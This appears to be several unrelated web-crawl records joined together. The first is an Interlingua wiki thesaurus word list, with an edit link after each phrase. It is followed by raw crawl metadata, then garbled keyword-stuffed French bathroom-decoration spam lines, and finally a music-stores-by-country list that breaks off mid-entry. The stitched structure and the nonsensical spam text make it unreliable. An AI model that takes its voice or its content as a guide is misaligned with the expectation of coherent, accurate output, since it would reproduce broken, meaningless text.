consumitor directemente proportionalModificar directamente proportional directionModificar direction axialModificar direction bicephaleModificar direction bicephala direction centralModificar direction collectiveModificar direction collectiva direction de circoModificar direction de minaModificar direction de museoModificar direction de productionModificar direction de scholaModificar direction de un falliaModificar direction del aerodromoModificar direction del aeroportoModificar direction del campoModificar direction del interprisaModificar direction de la interprisa direction del partitoModificar direction del scholaModificar direction de la schola direction del ventoModificar direction generalModificar direction multipleModificar direction multipla direction obligatoriModificar direction obligatoria direction principalModificar direction scenicModificar direction scenica directionalModificar directional(es) directivaModificar directivas curialModificar directivas curiales directiveModificar directivo(s) \/ directiva(s) directivitateModificar directivitate de un antennaModificar directivitate de una antenna directorModificar director adjuncteModificar director adjuncto director centralModificar director de bancaModificar director de campingModificar director de circoModificar director de fabricaModificar director de minaModificar director de museoModificar director de orchestraModificar director de pensionatoModificar director de pompas funebreModificar director de pompas funebres director de portoModificar director de prisionModificar director de productionModificar director de scenaModificar director de scena cinematographicModificar director de scena cinematographica director de scholaModificar director de theatroModificar director de un internatoModificar director del campoModificar director del joco(s)Modificar director del_joco \/ de_los_jocos director del personalModificar director divisionalModificar director generalModificar director principalModificar director scenicModificar director scenico director spiritualModificar directoral \/ directorialModificar directoral(es) \/ directorial(es) directoratoModificar directoriModificar directorio(s) \/ directoria(s) directorioModificar directory [A]Modificar directriceModificar directrice [la directrice de scholaModificar directuraModificar dirham [A]Modificar dirigenteModificar dirigente [le \/ la dirigente de alte nivelloModificar dirigente de alto nivello dirigente del partitoModificar dirigente syndicalModificar dirigerModificar diriger a un persona un reguardo de despectoModificar diriger a una persona un reguardo de despecto diriger a un persona un reguardo de disprecioModificar diriger a una persona un reguardo de disprecio diriger le circulationModificar diriger la circulation diriger le operationesModificar diriger las operationes diriger le parola aModificar diriger la parola a diriger le parola a un personaModificar diriger la parola a una persona diriger le trafficoModificar diriger parolas calorose a un personaModificar diriger parolas calorosas a una persona diriger se al exitoModificar diriger se al persona indicateModificar diriger se a la persona indicata diriger se verso un locoModificar diriger su critica verso un cosaModificar diriger su critica verso una cosa diriger su oculo a \/ versoModificar diriger su passos versoModificar diriger sus passos verso diriger un associationModificar diriger una association diriger un debattoModificar diriger un equipaModificar diriger una equipa diriger un interprisaModificar diriger una interprisa diriger un littera a un personaModificar diriger una littera a una persona diriger un orchestraModificar diriger una orchestra diriger un question al presidenteModificar diriger una question al presidente diriger un scholaModificar diriger una schola diriger un sublevationModificar diriger una sublevation dirigibileModificar dirigibile(s) dirigibilitateModificar dirigismoModificar dirigismo statalModificar dirigistaModificar dirimenteModificar dirimente(s) adj dirimerModificar disabonarModificar disabonar se a un gruppo in le InternetModificar disabonar se a un gruppo in la Internet disabonar se a un revistaModificar disabonar se a una revista disabusarModificar disaccharideModificar disaccharide [le disacclimatarModificar disaccopulamentoModificar disaccopularModificar disaccopular le tubo del gasModificar disaccopular le wagonModificar disaccordarModificar disaccordoModificar disaccordo flagrante inter un theoria e le factosModificar disaccordo flagrante inter una theoria e \/ et los factos disaccostumarModificar disacidificarModificar disacidificationModificar disactivarModificar disactivar minasModificar disactivationModificar disadaptateModificar disadaptato(s) \/ disadaptata(s) disaerarModificar disaerar betonModificar disaerationModificar disaffectionModificar disaffectionarModificar disaffiliarModificar disaffiliationModificar disaggregarModificar disaggregationModificar disagioModificar disagradabileModificar disagradabile(s) disagradarModificar disagrafarModificar disagrafar su vestimentosModificar disagrafar sus vestimentos disalineamentoModificar disalinearModificar disalineationModificar disammarrarModificar disammarrar un naveModificar disammarrar una nave disamorModificar disancorarModificar disanimarModificar disanimateModificar disanimato(s) \/ disanimata(s) disannidarModificar disannidar ovosModificar disapprenderModificar disapprobarModificar disapprobar le comportamento de un personaModificar disapprobar le comportamento de una persona disapprobar le conducta de un personaModificar disapprobar la conducta de una persona disapprobar un projectoModificar disapprobationModificar disapprobativeModificar disapprobativo(s) \/ disapprobativa(s) disapprobatorModificar disapprobatoriModificar disapprobatorio(s) \/ disapprobatoria(s) disappunctamentoModificar disappunctarModificar disaquamentoModificar disaquamento de un polderModificar disaquamento del ZuiderzeeModificar disaquarModificar disaquar per pumpageModificar disargentarModificar disargentationModificar disarmamentoModificar disarmamento atomicModificar disarmamento atomico disarmamento bilateralModificar disarmamento nuclearModificar disarmamento unilateralModificar disarmarModificar disarrugarModificar disarticularModificar disarticulationModificar disarticulation de un membroModificar disassemblageModificar disassemblarModificar disassimilarModificar disassimilationModificar disassociarModificar disastroModificar disastro atomicModificar disastro atomico disastro aviatoriModificar disastro aviatorio disastro de trainoModificar disastro ecologicModificar disastro ecologico disastro ferroviariModificar disastro ferroviario disastro financiariModificar disastro financiario disastro irremediabileModificar disastro irreparabileModificar disastro maritimeModificar disastro maritimo disastro minerariModificar disastro minerario disastro naturalModificar disastro navalModificar disastro nuclearModificar disastro radioactiveModificar disastro radioactivo disastro seismicModificar disastro seismico disastros del guerraModificar disastros de la guerra disastroseModificar disastroso(s) \/ disastrosa(s) disaurarModificar disavantageModificar disavantagiarModificar disavantagiar un herede al profito de un altereModificar disavantagiar un_herede \/ una_herede al profito de un_altero \/ una_altera disavantagiar un hereditario al profito de un altereModificar disavantagiar un hereditario al profito de un altero disavantagioseModificar disavantagioso(s) \/ disavantagiosa(s) disbandamentoModificar disbandarModificar disbandar seModificar disbandar un clubModificar disbarbarModificar disbarbateModificar disbarbato(s) \/ disbarbata(s) disbarcamentoModificar disbarcamento aereeModificar disbarcamento aereo disbarcamento aeree de truppasModificar disbarcamento aereo de truppas disbarcamento super le lunaModificar disbarcamento super la luna disbarcarModificar disbarcar un persona super un insulaModificar disbarcar una persona super una insula disbarcatorioModificar disblocarModificar disblocar creditosModificar disblocar le frenosModificar disblocar los frenos disbobinarModificar disbordamentoModificar disbordamento de un fluvioModificar disbordarModificar disbordar de enthusiasmoModificar disboscamentoModificar disboscarModificar disboscar un collinaModificar disboscar una collina disbridamentoModificar disbridarModificar disbuccamentoModificar disbuccarModificar disbuclarModificar disbursamentoModificar disbursarModificar disbursar cinquanta florinos pro un libroModificar disbuttonarModificar disbuttonar su mantelloModificar disbutyrarModificar disbutyrar lacteModificar disbutyrateModificar disbutyrato(s) \/ disbutyrata(s) disbutyrationModificar disc jockey [A]Modificar discalceamentoModificar discalcearModificar discalcear seModificar discalceateModificar discalceato(s) \/ discalceata(s) discalceatorModificar discamminarModificar discampamentoModificar discamparModificar discantarModificar discantoModificar discapillarModificar discapillateModificar discapillato(s) \/ discapillata(s) discappottabileModificar discappottabile(s) discappottarModificar discapsulageModificar discapsularModificar discapsulatorModificar discarbonatarModificar discarburarModificar discarburationModificar discardinarModificar discardinar un portaModificar discardinar una porta discargaModificar discarga de productos toxicModificar discarga de productos toxicos discarga de un condensatorModificar discarga electricModificar discarga electrica discarga per scintillasModificar discargamentoModificar discargamento de productos toxicModificar discargamento de productos toxicos discargamento de un naveModificar discargamento de una nave discargarModificar discargar le conscientiaModificar discargar la conscientia discargar le tresoreroModificar discargar mercantiasModificar discargar mercesModificar discargar su bile contra un personaModificar discargar su bile contra una persona discargar su conscientiaModificar discargar su cordeModificar discargar su furorModificar discargar su ira a \/ contra un personaModificar discargar su ira a \/ contra una persona discargar un accumulatorModificar discargar un accusatoModificar discargar un cannonModificar discargar un fusilModificar discargar un naveModificar discargar una nave discargar un persona de su obligationesModificar discargar una persona de sus obligationes discargar un persona de un obligationModificar discargar una persona de una obligation discargar un tiroModificar discargas illegal de residuos toxicModificar discargas illegales de residuos toxicos discargatorModificar discargatorioModificar discargatorio de productos toxicModificar discargatorio de productos toxicos discargatorio de residuos toxicModificar discargatorio de residuos toxicos discarnarModificar discarnateModificar discarnato(s) \/ discarnata(s) discartellisarModificar discartellizar discartellisationModificar discartellization discassageModificar discassamentoModificar discassarModificar discassar mercantiasModificar discatenamentoModificar discatenamento del violentiaModificar discatenamento de la violentia discatenarModificar discatenar le hilaritate generalModificar discatenar la hilaritate general discatenar seModificar discatenar un tempesta de indignationModificar discatenar una tempesta de indignation discentralisabileModificar discentralizabile(s) discentralisarModificar discentralizar discentralisar le industriaModificar discentralizar la industria discentralisar le poterModificar discentralizar le poter discentralisationModificar discentralization discentralisation administrativeModificar discentralization administrativa discentralisation del industriaModificar discentralization de la industria discentralisation del poterModificar discentralization del poter discentralisation politicModificar discentralization politica discentralisatorModificar discentralizator discentramentoModificar discentrarModificar discentrationModificar discernerModificar discerner le ben del malModificar discerner le intentiones de un personaModificar discerner las intentiones de una persona discerner le presentia de un persona in le umbraModificar discerner la presentia de una persona in la umbra discernibileModificar discernibile(s) discernibilitateModificar discernimentoModificar discernitorModificar dischettoModificar dischlorurarModificar dischristanisarModificar dischristanizar dischristianisationModificar dischristianization disciflorModificar disciflor(es) discifloralModificar discifloral(es) discincteModificar discincto(s) \/ discincta(s) discingerModificar disciplinaModificar disciplina claustralModificar disciplina de casernaModificar disciplina de ferroModificar disciplina de pensamentoModificar disciplina de pensataModificar disciplina del partitoModificar disciplina del preciosModificar disciplina de los precios disciplina ecclesiasticModificar disciplina ecclesiastica disciplina ferreeModificar disciplina ferrea disciplina militarModificar disciplina monachalModificar disciplina monasticModificar disciplina monastica disciplina principalModificar disciplina scholarModificar disciplina sportiveModificar disciplina sportiva disciplina stricteModificar disciplina stricta disciplinabileModificar disciplinabile(s) disciplinabilitateModificar disciplinarModificar disciplinar vb disciplinariModificar disciplinario(s) \/ disciplinaria(s) disciplinas auxiliarModificar disciplinas auxiliares disciplinas technicModificar disciplinas technicas discipuloModificar discipulo de RabelaisModificar discipulo externeModificar discipulo externo discipulos de EmmausModificar disclavarModificar disclavar plancasModificar discoModificar disco a \/ de cammasModificar disco a \/ de frictionModificar disco a \/ de longe durataModificar disco a \/ de longa durata disco a \/ de longe durationModificar disco a \/ de longa duration disco abrasiveModificar disco abrasivo disco adhesiveModificar disco adhesivo disco compacteModificar disco compacto disco de auroModificar disco de balloModificar disco de embracageModificar disco de frenoModificar disco de jazzModificar disco de metalloModificar disco de microsulcoModificar disco de NewtonModificar disco de parcamentoModificar disco de parkingModificar disco de platinoModificar disco de polimentoModificar disco de propulsionModificar disco de quaranta-cinque tornosModificar disco de smerilioModificar disco de stationamentoModificar disco de trenta-tres revolutionesModificar disco de trenta-tres tornosModificar disco del lunaModificar disco de la luna disco del solModificar disco durModificar disco duro disco flexibileModificar disco intervertebralModificar disco intervertebral prolabiteModificar disco intervertebral prolabito disco lunarModificar disco magneticModificar disco magnetico disco microsulcoModificar disco motorModificar disco numerateModificar disco numerato disco propulsoriModificar disco propulsorio disco selectorModificar disco solarModificar disco stereo \/ stereophonicModificar disco stereo \/ stereophonico disco vertebralModificar disco videoModificar disco volanteModificar discoboloModificar discocauleModificar discocaule(s) adj discographiaModificar discographicModificar discographico(s) \/ discographica(s) discoidalModificar discoidal(es) discoideModificar discoide(s) discollarModificar discollar un etiquettaModificar discollar una etiquetta discoloranteModificar discolorante [le discolorarModificar discolorar seModificar discolorar se le capillosModificar discolorar se los capillos discolorationModificar discombrosModificar discombros [los discompletarModificar discomycetoModificar disconcertamentoModificar disconcertarModificar disconcertateModificar disconcertato(s) \/ disconcertata(s) discongelamentoModificar discongelarModificar discongelar carneModificar discongelationModificar discongelation de carneModificar discongestionModificar discongestion de centrales telephonicModificar discongestion de centrales telephonicas discongestion de un arteria de trafficoModificar discongestion de una arteria de traffico discongestionarModificar discongestionar le pulmonesModificar discongestionar los pulmones discongestionar un arteria de trafficoModificar discongestionar una arteria de traffico disconnecterModificar disconnecter le alarmaModificar disconnecter le radioModificar disconnecter le televisionModificar disconnecter la television disconnexionModificar disconsiliarModificar disconsiliate a un publico non adulteModificar [disconsiliato(s) \/ disconsiliata(s)] a un publico non adulto disconsolateModificar disconsolato(s) \/ disconsolata(s) discontabileModificar discontabile(s) discontaminarModificar discontaminationModificar discontarModificar discontatorModificar discontentamentoModificar discontentarModificar discontenteModificar discontente(s) discontentoModificar discontinuarModificar discontinuar le production de un cosaModificar discontinuar la production de una cosa discontinuar un clubModificar discontinuar un jornalModificar discontinuar un servicio de ferryModificar discontinuar un scriptionModificar discontinuar una scription discontinuationModificar discontinueModificar discontinuo(s) \/ discontinua(s) discontinuitateModificar discontinuitate de un phenomenoModificar discontoModificar disconto bancariModificar disconto bancario disconto regionalModificar disconvenienteModificar disconveniente(s) disconvenientiaModificar disconvenirModificar disconvenir aModificar discopathiaModificar discoperirModificar discoperir le casserolaModificar discoperir la casserola discoperir nove fontes de impostoModificar discoperir novas fontes de imposto discoperir seModificar discoperir un complotModificar discoperir un secretoModificar discoperitorModificar discopertaModificar discoperta de un tresorModificar discoperta de un vaccinoModificar discoperta macabreModificar discoperta macabra discoperta(s) scientificModificar discoperta_scientifica \/ discopertas_scientificas discopertas prehistoricModificar discopertas prehistoricas discoperteModificar discoperto(s) \/ discoperta(s) discophileModificar discophilo(s) \/ discophila(s) discophiliaModificar discophiloModificar discoragiamentoModificar discoragiarModificar discoragiar seModificar discorcarModificar discorcar un bottiliaModificar discorcatorModificar discordanteModificar discordante(s) discordantiaModificar discordantia angularModificar discordantia de characteresModificar discordantia de coloresModificar discordantia de gustosModificar discordantia de opinionesModificar discordantia de stratificationesModificar discordantia inter theoria e practicaModificar discordantia inter theoria e \/ et practica discordarModificar discordeModificar discorde(s) discordiaModificar discordia in le sino del gruppoModificar discordoModificar discornarModificar discoronamentoModificar discoronarModificar discoronar un regeModificar discorteseModificar discortese(s) discortesiaModificar discorticar cacahuetesModificar discothecaModificar discothecarioModificar discount [A]Modificar discreditarModificar discreditar un adversarioModificar discreditoModificar discremarModificar discremar le lacteModificar discremationModificar discrematorModificar discrepanteModificar discrepante(s) discrepantiaModificar discreparModificar discrescerModificar discrescimentoModificar discrescimento del natalitateModificar discrescimento de la natalitate discreteModificar discreto(s) \/ discreta(s) discretionModificar discretion garantiteModificar discretion garantita discretionalModificar discretional(es) discretionariModificar discretionario(s) \/ discretionaria(s) discretiveModificar discretivo(s) \/ discretiva(s) discriminanteModificar discriminante adj, sub discriminante de un equation algebraic \/ algebricModificar discriminante de una equation algebraica \/ algebrica discriminarModificar discriminationModificar discrimination racialModificar discrimination reverseModificar discrimination reversa discrimination salarialModificar discriminativeModificar discriminativo(s) \/ discriminativa(s) discriminatoriModificar discriminatorio(s) \/ discriminatoria(s) disculpa mi retardoModificar disculpabileModificar disculpabile(s) disculparModificar disculpar seModificar disculpar un amicoModificar disculpationModificar discurrerModificar discursiveModificar discursivo(s) \/ discursiva(s) discursivitateModificar discursoModificar discurso allusiveModificar discurso allusivo discurso annualModificar discurso apologeticModificar discurso apologetico discurso commemorativeModificar discurso commemorativo discurso comminatoriModificar discurso comminatorio discurso compendioseModificar discurso compendioso discurso conciliatoriModificar discurso conciliatorio discurso conclusiveModificar discurso conclusivo discurso confuseModificar discurso confuso discurso copioseModificar discurso copioso discurso de adeo \/ adieuModificar discurso de aperturaModificar discurso de clausuraModificar discurso de festaModificar discurso de inaugurationModificar discurso de tabulaModificar discurso del thronoModificar discurso demagogicModificar discurso demagogico discurso diffamatoriModificar discurso diffamatorio discurso directeModificar discurso directo discurso electoralModificar discurso electoral demagogicModificar discurso electoral demagogico discurso eloquenteModificar discurso emphaticModificar discurso emphatico discurso epideicticModificar discurso epideictico discurso extemporaneeModificar discurso extemporaneo discurso farraginoseModificar discurso farraginoso discurso fluvioModificar discurso focoseModificar discurso focoso discurso funebreModificar discurso funeralModificar discurso grandiloquenteModificar discurso inauguralModificar discurso incoherenteModificar discurso indirecteModificar discurso indirecto discurso informalModificar discurso injurioseModificar discurso injurioso discurso insultanteModificar discurso introductiveModificar discurso introductivo discurso laudativeModificar discurso laudativo discurso laudatoriModificar discurso laudatorio discurso linearModificar discurso magniloquenteModificar discurso marathonModificar discurso panegyricModificar discurso panegyrico discurso passionanteModificar discurso patheticModificar discurso pathetico discurso plen de allusionesModificar discurso pleno de allusiones discurso plen de emphaseModificar discurso pleno de emphase discurso politicModificar discurso politico discurso preliminarModificar discurso radiodiffunditeModificar discurso radiodiffundito discurso radiophonicModificar discurso radiophonico discurso rectoralModificar discurso satiricModificar discurso satirico discurso sensateModificar discurso sensato discurso soporificModificar discurso soporifico discurso succincteModificar discurso succincto discurso ultragioseModificar discurso ultragioso discurso vehementeModificar discurso verboseModificar discurso verboso discussionModificar discussion ardenteModificar discussion de affairesModificar discussion de un projecto de legeModificar discussion in le studioModificar discussion infertileModificar discussion infructuoseModificar discussion infructuosa discussion interminabileModificar discussion parlamentariModificar discussion parlamentaria discussion preliminarModificar discussion preparatoriModificar discussion preparatoria discussion sterileModificar discussion subsequenteModificar discussion ulteriorModificar discussion vivaceModificar discussion viveModificar discussion viva discussiones eternalModificar discussiones eternales discuterModificar discuter con animationModificar discuter ulteriormenteModificar discuter un projecto de legeModificar discuter un questionModificar discuter una question discuter un question a fundoModificar discuter una question a fundo discutibileModificar discutibile(s) discutibilitateModificar discutibilitate de un rationModificar discutibilitate de una ration discutibilitate de un theoriaModificar discutibilitate de una theoria disdicerModificar disdicer per telephonoModificar disdicer seModificar disdicer un abonamentoModificar disdicer un appunctamentoModificar disdicer un habitationModificar disdicer una habitation disdicimentoModificar disdicimento del contracto de locationModificar disdignabileModificar disdignabile(s) disdignarModificar disdignar le insinuationesModificar disdignar las insinuationes disdignoModificar disdigno del morteModificar disdigno de la morte disdigno ironicModificar disdigno ironico disdigno supremeModificar disdigno supremo disdignoseModificar disdignoso(s) \/ disdignosa(s) disdoanamentoModificar disdoanarModificar disdoanateModificar disdoanato(s) \/ disdoanata(s) disduplamentoModificar disduplamento de un jornalModificar disduplamento del personalitateModificar disduplamento de la personalitate disduplarModificar disduplar le jornalModificar disebriamentoModificar disebriarModificar disembarassarModificar disembarassar se deModificar disembarassar se de un persona per vage promissasModificar disembarassar se de una persona per vagas promissas disembarassar un cellarioModificar disembarassar un mineral de su gangaModificar disembracageModificar disembracarModificar disempleoModificar disentravarModificar disequilibrarModificar disequilibrateModificar disequilibrato(s) \/ disequilibrata(s) disequilibrioModificar disequilibrio psychicModificar disequilibrio psychico disescalarModificar disescalationModificar disestimaModificar disestimarModificar disfacerModificar disfacer le buclaModificar disfacer le lectoModificar disfacer le reputation de un personaModificar disfacer la reputation de una persona disfacer le valiseModificar disfacer la valise disfacer se deModificar disfacer se de cargasModificar disfacer se de su persecutoresModificar disfacer se de sus persecutores disfacer se in pulvereModificar disfacer su adversarioModificar disfacer un complotModificar disfacer un contractoModificar disfacer un maritageModificar disfacer un matrimonioModificar disfacer un nodoModificar disfacer un pacchettoModificar disfacer un paccoModificar disfacer un suturaModificar disfacer una sutura disfactaModificar disfacta electoralModificar disfacta inevitabileModificar disfacta militarModificar disfacta sensibileModificar disfacta vergonioseModificar disfacta vergoniosa disfacteModificar disfacto(s) \/ disfacta(s) disfalsarModificar disfardarModificar disfavorModificar disfavorabileModificar disfavorabile(s) disfavorarModificar disferrarModificar disferrar un prisioneroModificar disfiguramentoModificar disfigurarModificar disfigurar le factosModificar disfigurar los factos disfigurar le intentiones de un personaModificar disfigurar las intentiones de una persona disfigurar le veritateModificar disfigurar la veritate disfigurar le voceModificar disfigurar la voce disfigurate per le variolaModificar [disfigurato(s) \/ disfigurata(s)] per la variola disfigurationModificar disfiguration del factosModificar disfiguration de los factos disfiguration del veritateModificar disfiguration de la veritate disfilarModificar disfloramentoModificar disflorarModificar disflorationModificar disflorescerModificar disfolianteModificar disfoliante adj, sub disfoliarModificar disfoliar le ramos de un saliceModificar disfoliar los ramos de un salice disfoliationModificar disfoliatorModificar disfrenarModificar disfructarModificar disgelarModificar disgelatorModificar disgelator posteriorModificar disgeloModificar disgelo diplomaticModificar disgelo diplomatico disgorgamentoModificar disgorgarModificar disgranamentoModificar disgranarModificar disgranar le spicasModificar disgranar las spicas disgranatorModificar disgrassarModificar disgrassar le capillosModificar disgrassar los capillos disgrassiarModificar disgratiaModificar disgratiarModificar disgratiar un favoritoModificar disgratioseModificar disgratioso(s) \/ disgratiosa(s) disgregarModificar disgregationModificar disguisamentoModificar disguisamento de cowboyModificar disguisarModificar disguisar le veritateModificar disguisar la veritate disguisar su scripturaModificar disguisar su sentimentosModificar disguisar sus sentimentos disguisateModificar disguisato(s) \/ disguisata(s) Obtenite de \"http:\/\/interlingua.wikia.com\/wiki\/Thesauro_desolar?oldid=5158\" Categorias: Adder categoria Cancellar Salveguardar","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/interlingua.wikia.com\/wiki\/Thesauro_desolar","date":"2018-12-10T11:40:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823322.49\/warc\/CC-MAIN-20181210101954-20181210123454-00039.warc.gz","language":"ina","language_score":0.5753432512,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"ina_Latn_score\": 0.5753432512283325, \"por_Latn_score\": 0.049620371311903, \"ast_Latn_score\": 0.03979584202170372, \"cat_Latn_score\": 0.03621172904968262, \"spa_Latn_score\": 0.03279188647866249, \"vec_Latn_score\": 0.023178333416581154, \"lat_Latn_score\": 0.020763088017702103, \"ile_Latn_score\": 0.01966535858809948, \"ita_Latn_score\": 0.015156463719904423, \"lvs_Latn_score\": 0.01380292046815157, \"swe_Latn_score\": 0.013688970357179642, \"nld_Latn_score\": 0.011271477676928043, \"mlt_Latn_score\": 0.010621574707329273}","num_words":17284,"character_repetition_ratio":0.245,"word_repetition_ratio":0.005,"special_characters_ratio":0.111,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.644,"perplexity_score":5992.0,"cluster_detection":-1} +{"text":"decoration salle de bain belle garcon with ie co s deco petite salle de bain pas cher td76.\ndecoration salle de bain morne coration ias amazing house sign decoration salle de bain zen pas cher oo75.\ndecoration salle de bain coration morne image d co coration gui decoration salle de bain algerie dt73.\ndecoration salle de bain beautiful coration pictures interesting co decoration salle de bain gris et rose or63.\ndecoration salle de bain photos s chic decoration salle de bain ikea ii23.\ndecoration salle de bain coration lovely morne pour petite s echelle deco salle de bain ikea ue64.\ndecoration salle de bain evocation decoration salle de bain 2016 dt64.\ndecoration salle de bain zen inspirational am tendance decoration salle de bain 2017 ol42.\ndecoration salle de bain beautiful stickers zen pictures amazing house sign deco salle de bain moderne ao74.\ndecoration salle de bain perfect beautiful ideas amazing house with deco salle de bain pas chere lu46.\ndecoration salle de bain decoration salle de bain contemporaine at76.\ndecoration salle de bain coration mineral bio amazing coration 0 deco salle de bain gris et jaune io55.\ndecoration salle de bain d morne sign architecture fresh in ration deco salle de bain 2016 do51.\ndecoration salle de bain petite photos id es inspirations ie co d decoration salle de bain style marocain td15.\ndecoration salle de bain photos idee deco salle de bain pas cher te26.\ndecoration salle de bain coration morne petite decoration salle de bain pas chere ei31.\ndecoration salle de bain idee deco petite salle de bain ikea it77.\ndecoration salle de bain r sup photos idee deco petite salle de bain zen ut43.\ndecoration salle de bain zen mineral bio ie petite zen deco salle de bain gris et beige oa21.\ndecoration salle de bain coration deco salle de bain moderne ie11.\ndecoration salle de bain coration petite morne petite co morne idee deco salle de bain marocaine to71.\ndecoration salle de bain cors coration d morne cors coration d decoration salle de bain grise dl24.\ndecoration salle de bain morne sign d with regard to decoration salle de bain moderne 2017 ut52.\ndecoration salle de bain decoration salle de bain pas cher el31.\ndecoration salle de bain decoration salle de bain moderne 2014 ou63.\ndecoration salle de bain id e d morne photos in ie co idee deco salle de bain 2016 ri21.\ndecoration salle de bain decoration salle de bain gris et rose oa47.\ndecoration salle de bain coration best co coration organisation nature zen co decoration petite salle de bain marocaine rd16.\ndecoration salle de bain cool morne deco salle de bain marocaine ti55.\ndecoration salle de bain decoration salle de bain grise ed45.\ndecoration salle de bain zen stunning ration photos us petite la petite deco salle de bain 2016 ra25.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/apartloanfudousan.info\/decoration-salle-de-bain\/","date":"2018-12-16T08:17:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376827596.48\/warc\/CC-MAIN-20181216073608-20181216095608-00359.warc.gz","language":"ina","language_score":0.3520565629,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3520565629005432, \"sco_Latn_score\": 0.22579535841941833, \"fra_Latn_score\": 0.053899940103292465, \"pan_Latn_score\": 0.05319514870643616, \"eng_Latn_score\": 0.026926014572381973, \"pcm_Latn_score\": 0.025726284831762314, \"knc_Latn_score\": 0.022063473239541054, \"wes_Latn_score\": 0.02162809856235981, \"gul_Latn_score\": 0.018865730613470078, \"pfl_Latn_score\": 0.014449081383645535, \"rmq_Latn_score\": 0.01340310089290142, \"eus_Latn_score\": 0.013075006194412708, \"nrm_Latn_score\": 0.01263951975852251, \"glg_Latn_score\": 0.011242834851145744}","num_words":785,"character_repetition_ratio":0.389,"word_repetition_ratio":0.057,"special_characters_ratio":0.214,"stopwords_ratio":0.181,"flagged_words_ratio":0.0,"lang_id_score":0.352,"perplexity_score":7031.7,"cluster_detection":-1} +{"text":"Music Stores\nMusic Stores by country:\nMusic Stores in Afghanistan\nMusic Stores in Albania\nMusic Stores in Algeria\nMusic Stores in American Samoa\nMusic Stores in Andorra\nMusic Stores in Angola\nMusic Stores in Anguilla\nMusic Stores in Antarctica\nMusic Stores in Antigua and Barbuda\nMusic Stores in Argentina\nMusic Stores in Armenia\nMusic Stores in Aruba\nMusic Stores in Australia\nMusic Stores in Austria\nMusic Stores in Azerbaijan\nMusic Stores in Bahamas\nMusic Stores in Bahrain\nMusic Stores in Bangladesh\nMusic Stores in Barbados\nMusic Stores in Belarus\nMusic Stores in Belgium\nMusic Stores in Belize\nMusic Stores in Benin\nMusic Stores in Bermuda\nMusic Stores in Bhutan\nMusic Stores in Bolivia\nMusic Stores in Bonaire, Saint Eustatius, and Saba\nMusic Stores in Bosnia and Herzegovina\nMusic Stores in Botswana\nMusic Stores in Bouvet Island\nMusic Stores in Brazil\nMusic Stores in British Indian Ocean Territory\nMusic Stores in British Virgin Islands\nMusic Stores in Brunei\nMusic Stores in Bulgaria\nMusic Stores in Burkina Faso\nMusic Stores in Burundi\nMusic Stores in Cambodia\nMusic Stores in Cameroon\nMusic Stores in Canada\nMusic Stores in Cape Verde\nMusic Stores in Cayman Islands\nMusic Stores in Central African Republic\nMusic Stores in Chad\nMusic Stores in Chile\nMusic Stores in China\nMusic Stores in Christmas Island\nMusic Stores in Cocos [Keeling] Islands\nMusic Stores in Colombia\nMusic Stores in Comoros\nMusic Stores in Cook Islands\nMusic Stores in Costa Rica\nMusic Stores in Croatia\nMusic Stores in Cuba\nMusic Stores in Curaçao\nMusic Stores in Cyprus\nMusic Stores in Czech Republic\nMusic Stores in Democratic Republic of the Congo\nMusic Stores in Denmark\nMusic Stores in Djibouti\nMusic Stores in Dominica\nMusic Stores in Dominican Republic\nMusic Stores in East Timor\nMusic Stores in Ecuador\nMusic Stores in Egypt\nMusic Stores in El Salvador\nMusic Stores in Equatorial Guinea\nMusic Stores in Eritrea\nMusic Stores in Estonia\nMusic Stores in Ethiopia\nMusic Stores in Falkland Islands\nMusic Stores in Faroe Islands\nMusic Stores in Fiji\nMusic Stores in Finland\nMusic Stores in France\nMusic Stores in French Guiana\nMusic Stores in French Polynesia\nMusic Stores in French Southern Territories\nMusic Stores in Gabon\nMusic Stores in Georgia\nMusic Stores in Germany\nMusic Stores in Ghana\nMusic Stores in Gibraltar\nMusic Stores in Greece\nMusic Stores in Greenland\nMusic Stores in Grenada\nMusic Stores in Guadeloupe\nMusic Stores in Guam\nMusic Stores in Guatemala\nMusic Stores in Guernsey\nMusic Stores in Guinea\nMusic Stores in Guinea-Bissau\nMusic Stores in Guyana\nMusic Stores in Haiti\nMusic Stores in Hashemite Kingdom of Jordan\nMusic Stores in Heard Island and McDonald Islands\nMusic Stores in Honduras\nMusic Stores in Hong Kong\nMusic Stores in Hungary\nMusic Stores in Iceland\nMusic Stores in India\nMusic Stores in Indonesia\nMusic Stores in Iran\nMusic Stores in Iraq\nMusic Stores in Ireland\nMusic Stores in Isle of Man\nMusic Stores in Israel\nMusic Stores in Italy\nMusic Stores in Ivory Coast\nMusic Stores in Jamaica\nMusic Stores in Japan\nMusic Stores in Jersey\nMusic Stores in Kazakhstan\nMusic Stores in Kenya\nMusic Stores in Kiribati\nMusic Stores in Kosovo\nMusic Stores in Kuwait\nMusic Stores in Kyrgyzstan\nMusic Stores in Laos\nMusic Stores in Latvia\nMusic Stores in Lebanon\nMusic Stores in Lesotho\nMusic Stores in Liberia\nMusic Stores in Libya\nMusic Stores in Liechtenstein\nMusic Stores in Luxembourg\nMusic Stores in Macao\nMusic Stores in Macedonia\nMusic Stores in Madagascar\nMusic Stores in Malawi\nMusic Stores in Malaysia\nMusic Stores in Maldives\nMusic Stores in Mali\nMusic Stores in Malta\nMusic Stores in Marshall Islands\nMusic Stores in Martinique\nMusic Stores in Mauritania\nMusic Stores in Mauritius\nMusic Stores in Mayotte\nMusic Stores in Mexico\nMusic Stores in Micronesia\nMusic Stores in Monaco\nMusic Stores in Mongolia\nMusic Stores in Montenegro\nMusic Stores in Montserrat\nMusic Stores in Morocco\nMusic Stores in Mozambique\nMusic Stores in Myanmar [Burma]\nMusic Stores in Namibia\nMusic Stores in Nauru\nMusic Stores in Nepal\nMusic Stores in Netherlands\nMusic Stores in Netherlands Antilles\nMusic Stores in New Caledonia\nMusic Stores in New Zealand\nMusic Stores in Nicaragua\nMusic Stores in Niger\nMusic Stores in Nigeria\nMusic Stores in Niue\nMusic Stores in Norfolk Island\nMusic Stores in North Korea\nMusic Stores in Northern Mariana Islands\nMusic Stores in Norway\nMusic Stores in Oman\nMusic Stores in Pakistan\nMusic Stores in Palau\nMusic Stores in Palestine\nMusic Stores in Panama\nMusic 